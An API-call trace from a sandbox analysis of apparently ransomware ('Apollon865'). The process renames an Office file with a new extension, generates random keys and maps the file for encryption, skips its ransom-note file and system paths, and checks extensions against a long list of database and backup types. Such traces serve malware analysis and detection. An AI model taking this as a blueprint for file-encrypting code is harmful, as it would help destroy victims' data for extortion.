	[0071.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x426e8b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x426e8b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.072] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.072] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.074] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml.Apollon865") returned 116
	[0071.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml.apollon865"), dwFlags=0x1) returned 1
	[0071.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0071.076] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=92113) returned 1
	[0071.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0071.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0071.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0071.076] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0071.077] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0071.077] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0071.078] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16ae0, lpName=0x0) returned 0x100
	[0071.083] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16ae0) returned 0x120000
	[0071.087] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0071.088] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0071.088] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0071.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0071.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0071.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0071.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0071.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0071.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0071.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0071.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0071.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0071.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0071.089] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0071.090] CloseHandle (hObject=0x100) returned 1
	[0071.090] CloseHandle (hObject=0x150) returned 1
	[0071.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0071.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0071.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0071.091] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x426e8b10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x426e8b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0071.091] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0071.091] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MENUS.JS", cAlternateFileName="")) returned 1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="Apollon865.txt.exe") returned 1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2=".") returned 1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="..") returned 1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="windows") returned -1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="bootmgr") returned 1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="temp") returned -1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="pagefile.sys") returned -1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="boot") returned 1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="ids.txt") returned 1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="ntuser.dat") returned -1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="perflogs") returned -1
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2="MSBuild") returned -1
	[0071.091] lstrlenW (lpString="MENUS.JS") returned 8
	[0071.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml") returned 105
	[0071.091] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="MENUS.JS" | out: lpString1="MENUS.JS") returned="MENUS.JS"
	[0071.091] lstrlenW (lpString="MENUS.JS") returned 8
	[0071.091] lstrlenW (lpString="Apollon865") returned 10
	[0071.091] lstrlenW (lpString=".dll") returned 4
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2=".dll") returned 1
	[0071.091] lstrlenW (lpString=".lnk") returned 4
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2=".lnk") returned 1
	[0071.091] lstrlenW (lpString=".ini") returned 4
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2=".ini") returned 1
	[0071.091] lstrlenW (lpString=".sys") returned 4
	[0071.091] lstrcmpiW (lpString1="MENUS.JS", lpString2=".sys") returned 1
	[0071.091] lstrlenW (lpString="MENUS.JS") returned 8
	[0071.092] lstrlenW (lpString="bak") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="bak") returned -1
	[0071.092] lstrlenW (lpString="ba_") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="ba_") returned -1
	[0071.092] lstrlenW (lpString="dbb") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="dbb") returned -1
	[0071.092] lstrlenW (lpString="vmdk") returned 4
	[0071.092] lstrcmpiW (lpString1="S.JS", lpString2="vmdk") returned -1
	[0071.092] lstrlenW (lpString="rar") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="rar") returned -1
	[0071.092] lstrlenW (lpString="zip") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="zip") returned -1
	[0071.092] lstrlenW (lpString="tgz") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="tgz") returned -1
	[0071.092] lstrlenW (lpString="vbox") returned 4
	[0071.092] lstrcmpiW (lpString1="S.JS", lpString2="vbox") returned -1
	[0071.092] lstrlenW (lpString="vdi") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="vdi") returned -1
	[0071.092] lstrlenW (lpString="vhd") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="vhd") returned -1
	[0071.092] lstrlenW (lpString="vhdx") returned 4
	[0071.092] lstrcmpiW (lpString1="S.JS", lpString2="vhdx") returned -1
	[0071.092] lstrlenW (lpString="avhd") returned 4
	[0071.092] lstrcmpiW (lpString1="S.JS", lpString2="avhd") returned 1
	[0071.092] lstrlenW (lpString="db") returned 2
	[0071.092] lstrcmpiW (lpString1="JS", lpString2="db") returned 1
	[0071.092] lstrlenW (lpString="db2") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="db2") returned -1
	[0071.092] lstrlenW (lpString="db3") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="db3") returned -1
	[0071.092] lstrlenW (lpString="dbf") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="dbf") returned -1
	[0071.092] lstrlenW (lpString="mdf") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="mdf") returned -1
	[0071.092] lstrlenW (lpString="mdb") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="mdb") returned -1
	[0071.092] lstrlenW (lpString="sql") returned 3
	[0071.092] lstrcmpiW (lpString1=".JS", lpString2="sql") returned -1
	[0071.093] lstrlenW (lpString="sqlite") returned 6
	[0071.093] lstrcmpiW (lpString1="NUS.JS", lpString2="sqlite") returned -1
	[0071.093] lstrlenW (lpString="sqlite3") returned 7
	[0071.093] lstrcmpiW (lpString1="ENUS.JS", lpString2="sqlite3") returned -1
	[0071.093] lstrlenW (lpString="sqlitedb") returned 8
	[0071.093] lstrlenW (lpString="xml") returned 3
	[0071.093] lstrcmpiW (lpString1=".JS", lpString2="xml") returned -1
	[0071.093] lstrlenW (lpString="$er") returned 3
	[0071.093] lstrcmpiW (lpString1=".JS", lpString2="$er") returned 1
	[0071.093] lstrlenW (lpString="4dd") returned 3
	[0071.093] lstrcmpiW (lpString1=".JS", lpString2="4dd") returned -1
	[0071.093] lstrlenW (lpString="4dl") returned 3
	[0071.093] lstrcmpiW (lpString1=".JS", lpString2="4dl") returned -1
	[0071.093] lstrlenW (lpString="^^^") returned 3
	[0071.093] lstrcmpiW (lpString1=".JS", lpString2="^^^") returned -1
	[0071.093] lstrlenW (lpString="abs") returned 3
	[0071.093] lstrcmpiW (lpString1=".JS", lpString2="abs") returned -1
	[0071.093] lstrlenW (lpString="abx") returned 3
	[0071.093] lstrcmpiW (lpString1=".JS", lpString2="abx") returned -1
	[0071.093] lstrlenW (lpString="accdb") returned 5
	[0071.093] lstrcmpiW (lpString1="US.JS", lpString2="accdb") returned 1
	[0071.093] lstrlenW (lpString="accdc") returned 5
	[0071.093] lstrcmpiW (lpString1="US.JS", lpString2="accdc") returned 1
	[0071.093] lstrlenW (lpString="accde") returned 5
	[0071.093] lstrcmpiW (lpString1="US.JS", lpString2="accde") returned 1
	[0071.093] lstrlenW (lpString="accdr") returned 5
	[0071.093] lstrcmpiW (lpString1="US.JS", lpString2="accdr") returned 1
	[0071.093] lstrlenW (lpString="accdt") returned 5
	[0071.093] lstrcmpiW (lpString1="US.JS", lpString2="accdt") returned 1
	[0071.093] lstrlenW (lpString="accdw") returned 5
	[0071.093] lstrcmpiW (lpString1="US.JS", lpString2="accdw") returned 1
	[0071.093] lstrlenW (lpString="accft") returned 5
	[0071.093] lstrcmpiW (lpString1="US.JS", lpString2="accft") returned 1
	[0071.093] lstrlenW (lpString="adb") returned 3
	[0071.093] lstrcmpiW (lpString1=".JS", lpString2="adb") returned -1
	[0071.093] lstrlenW (lpString="adb") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="adb") returned -1
	[0071.094] lstrlenW (lpString="ade") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="ade") returned -1
	[0071.094] lstrlenW (lpString="adf") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="adf") returned -1
	[0071.094] lstrlenW (lpString="adn") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="adn") returned -1
	[0071.094] lstrlenW (lpString="adp") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="adp") returned -1
	[0071.094] lstrlenW (lpString="alf") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="alf") returned -1
	[0071.094] lstrlenW (lpString="ask") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="ask") returned -1
	[0071.094] lstrlenW (lpString="btr") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="btr") returned -1
	[0071.094] lstrlenW (lpString="cat") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="cat") returned -1
	[0071.094] lstrlenW (lpString="cdb") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="cdb") returned -1
	[0071.094] lstrlenW (lpString="ckp") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="ckp") returned -1
	[0071.094] lstrlenW (lpString="cma") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="cma") returned -1
	[0071.094] lstrlenW (lpString="cpd") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="cpd") returned -1
	[0071.094] lstrlenW (lpString="dacpac") returned 6
	[0071.094] lstrcmpiW (lpString1="NUS.JS", lpString2="dacpac") returned 1
	[0071.094] lstrlenW (lpString="dad") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="dad") returned -1
	[0071.094] lstrlenW (lpString="dadiagrams") returned 10
	[0071.094] lstrlenW (lpString="daschema") returned 8
	[0071.094] lstrlenW (lpString="db-journal") returned 10
	[0071.094] lstrlenW (lpString="db-shm") returned 6
	[0071.094] lstrcmpiW (lpString1="NUS.JS", lpString2="db-shm") returned 1
	[0071.094] lstrlenW (lpString="db-wal") returned 6
	[0071.094] lstrcmpiW (lpString1="NUS.JS", lpString2="db-wal") returned 1
	[0071.094] lstrlenW (lpString="dbc") returned 3
	[0071.094] lstrcmpiW (lpString1=".JS", lpString2="dbc") returned -1
	[0071.095] lstrlenW (lpString="dbs") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dbs") returned -1
	[0071.095] lstrlenW (lpString="dbt") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dbt") returned -1
	[0071.095] lstrlenW (lpString="dbv") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dbv") returned -1
	[0071.095] lstrlenW (lpString="dbx") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dbx") returned -1
	[0071.095] lstrlenW (lpString="dcb") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dcb") returned -1
	[0071.095] lstrlenW (lpString="dct") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dct") returned -1
	[0071.095] lstrlenW (lpString="dcx") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dcx") returned -1
	[0071.095] lstrlenW (lpString="ddl") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="ddl") returned -1
	[0071.095] lstrlenW (lpString="dlis") returned 4
	[0071.095] lstrcmpiW (lpString1="S.JS", lpString2="dlis") returned 1
	[0071.095] lstrlenW (lpString="dp1") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dp1") returned -1
	[0071.095] lstrlenW (lpString="dqy") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dqy") returned -1
	[0071.095] lstrlenW (lpString="dsk") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dsk") returned -1
	[0071.095] lstrlenW (lpString="dsn") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dsn") returned -1
	[0071.095] lstrlenW (lpString="dtsx") returned 4
	[0071.095] lstrcmpiW (lpString1="S.JS", lpString2="dtsx") returned 1
	[0071.095] lstrlenW (lpString="dxl") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="dxl") returned -1
	[0071.095] lstrlenW (lpString="eco") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="eco") returned -1
	[0071.095] lstrlenW (lpString="ecx") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="ecx") returned -1
	[0071.095] lstrlenW (lpString="edb") returned 3
	[0071.095] lstrcmpiW (lpString1=".JS", lpString2="edb") returned -1
	[0071.095] lstrlenW (lpString="epim") returned 4
	[0071.095] lstrcmpiW (lpString1="S.JS", lpString2="epim") returned 1
	[0071.096] lstrlenW (lpString="fcd") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="fcd") returned -1
	[0071.096] lstrlenW (lpString="fdb") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="fdb") returned -1
	[0071.096] lstrlenW (lpString="fic") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="fic") returned -1
	[0071.096] lstrlenW (lpString="flexolibrary") returned 12
	[0071.096] lstrlenW (lpString="fm5") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="fm5") returned -1
	[0071.096] lstrlenW (lpString="fmp") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="fmp") returned -1
	[0071.096] lstrlenW (lpString="fmp12") returned 5
	[0071.096] lstrcmpiW (lpString1="US.JS", lpString2="fmp12") returned 1
	[0071.096] lstrlenW (lpString="fmpsl") returned 5
	[0071.096] lstrcmpiW (lpString1="US.JS", lpString2="fmpsl") returned 1
	[0071.096] lstrlenW (lpString="fol") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="fol") returned -1
	[0071.096] lstrlenW (lpString="fp3") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="fp3") returned -1
	[0071.096] lstrlenW (lpString="fp4") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="fp4") returned -1
	[0071.096] lstrlenW (lpString="fp5") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="fp5") returned -1
	[0071.096] lstrlenW (lpString="fp7") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="fp7") returned -1
	[0071.096] lstrlenW (lpString="fpt") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="fpt") returned -1
	[0071.096] lstrlenW (lpString="frm") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="frm") returned -1
	[0071.096] lstrlenW (lpString="gdb") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="gdb") returned -1
	[0071.096] lstrlenW (lpString="gdb") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="gdb") returned -1
	[0071.096] lstrlenW (lpString="grdb") returned 4
	[0071.096] lstrcmpiW (lpString1="S.JS", lpString2="grdb") returned 1
	[0071.096] lstrlenW (lpString="gwi") returned 3
	[0071.096] lstrcmpiW (lpString1=".JS", lpString2="gwi") returned -1
	[0071.097] lstrlenW (lpString="hdb") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="hdb") returned -1
	[0071.097] lstrlenW (lpString="his") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="his") returned -1
	[0071.097] lstrlenW (lpString="ib") returned 2
	[0071.097] lstrcmpiW (lpString1="JS", lpString2="ib") returned 1
	[0071.097] lstrlenW (lpString="idb") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="idb") returned -1
	[0071.097] lstrlenW (lpString="ihx") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="ihx") returned -1
	[0071.097] lstrlenW (lpString="itdb") returned 4
	[0071.097] lstrcmpiW (lpString1="S.JS", lpString2="itdb") returned 1
	[0071.097] lstrlenW (lpString="itw") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="itw") returned -1
	[0071.097] lstrlenW (lpString="jet") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="jet") returned -1
	[0071.097] lstrlenW (lpString="jtx") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="jtx") returned -1
	[0071.097] lstrlenW (lpString="kdb") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="kdb") returned -1
	[0071.097] lstrlenW (lpString="kexi") returned 4
	[0071.097] lstrcmpiW (lpString1="S.JS", lpString2="kexi") returned 1
	[0071.097] lstrlenW (lpString="kexic") returned 5
	[0071.097] lstrcmpiW (lpString1="US.JS", lpString2="kexic") returned 1
	[0071.097] lstrlenW (lpString="kexis") returned 5
	[0071.097] lstrcmpiW (lpString1="US.JS", lpString2="kexis") returned 1
	[0071.097] lstrlenW (lpString="lgc") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="lgc") returned -1
	[0071.097] lstrlenW (lpString="lwx") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="lwx") returned -1
	[0071.097] lstrlenW (lpString="maf") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="maf") returned -1
	[0071.097] lstrlenW (lpString="maq") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="maq") returned -1
	[0071.097] lstrlenW (lpString="mar") returned 3
	[0071.097] lstrcmpiW (lpString1=".JS", lpString2="mar") returned -1
	[0071.097] lstrlenW (lpString="marshal") returned 7
	[0071.098] lstrcmpiW (lpString1="ENUS.JS", lpString2="marshal") returned -1
	[0071.098] lstrlenW (lpString="mas") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="mas") returned -1
	[0071.098] lstrlenW (lpString="mav") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="mav") returned -1
	[0071.098] lstrlenW (lpString="maw") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="maw") returned -1
	[0071.098] lstrlenW (lpString="mdbhtml") returned 7
	[0071.098] lstrcmpiW (lpString1="ENUS.JS", lpString2="mdbhtml") returned -1
	[0071.098] lstrlenW (lpString="mdn") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="mdn") returned -1
	[0071.098] lstrlenW (lpString="mdt") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="mdt") returned -1
	[0071.098] lstrlenW (lpString="mfd") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="mfd") returned -1
	[0071.098] lstrlenW (lpString="mpd") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="mpd") returned -1
	[0071.098] lstrlenW (lpString="mrg") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="mrg") returned -1
	[0071.098] lstrlenW (lpString="mud") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="mud") returned -1
	[0071.098] lstrlenW (lpString="mwb") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="mwb") returned -1
	[0071.098] lstrlenW (lpString="myd") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="myd") returned -1
	[0071.098] lstrlenW (lpString="ndf") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="ndf") returned -1
	[0071.098] lstrlenW (lpString="nnt") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="nnt") returned -1
	[0071.098] lstrlenW (lpString="nrmlib") returned 6
	[0071.098] lstrcmpiW (lpString1="NUS.JS", lpString2="nrmlib") returned 1
	[0071.098] lstrlenW (lpString="ns2") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="ns2") returned -1
	[0071.098] lstrlenW (lpString="ns3") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="ns3") returned -1
	[0071.098] lstrlenW (lpString="ns4") returned 3
	[0071.098] lstrcmpiW (lpString1=".JS", lpString2="ns4") returned -1
	[0071.099] lstrlenW (lpString="nsf") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="nsf") returned -1
	[0071.099] lstrlenW (lpString="nv") returned 2
	[0071.099] lstrcmpiW (lpString1="JS", lpString2="nv") returned -1
	[0071.099] lstrlenW (lpString="nv2") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="nv2") returned -1
	[0071.099] lstrlenW (lpString="nwdb") returned 4
	[0071.099] lstrcmpiW (lpString1="S.JS", lpString2="nwdb") returned 1
	[0071.099] lstrlenW (lpString="nyf") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="nyf") returned -1
	[0071.099] lstrlenW (lpString="odb") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="odb") returned -1
	[0071.099] lstrlenW (lpString="odb") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="odb") returned -1
	[0071.099] lstrlenW (lpString="oqy") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="oqy") returned -1
	[0071.099] lstrlenW (lpString="ora") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="ora") returned -1
	[0071.099] lstrlenW (lpString="orx") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="orx") returned -1
	[0071.099] lstrlenW (lpString="owc") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="owc") returned -1
	[0071.099] lstrlenW (lpString="p96") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="p96") returned -1
	[0071.099] lstrlenW (lpString="p97") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="p97") returned -1
	[0071.099] lstrlenW (lpString="pan") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="pan") returned -1
	[0071.099] lstrlenW (lpString="pdb") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="pdb") returned -1
	[0071.099] lstrlenW (lpString="pdm") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="pdm") returned -1
	[0071.099] lstrlenW (lpString="pnz") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="pnz") returned -1
	[0071.099] lstrlenW (lpString="qry") returned 3
	[0071.099] lstrcmpiW (lpString1=".JS", lpString2="qry") returned -1
	[0071.099] lstrlenW (lpString="qvd") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="qvd") returned -1
	[0071.100] lstrlenW (lpString="rbf") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="rbf") returned -1
	[0071.100] lstrlenW (lpString="rctd") returned 4
	[0071.100] lstrcmpiW (lpString1="S.JS", lpString2="rctd") returned 1
	[0071.100] lstrlenW (lpString="rod") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="rod") returned -1
	[0071.100] lstrlenW (lpString="rodx") returned 4
	[0071.100] lstrcmpiW (lpString1="S.JS", lpString2="rodx") returned 1
	[0071.100] lstrlenW (lpString="rpd") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="rpd") returned -1
	[0071.100] lstrlenW (lpString="rsd") returned 3
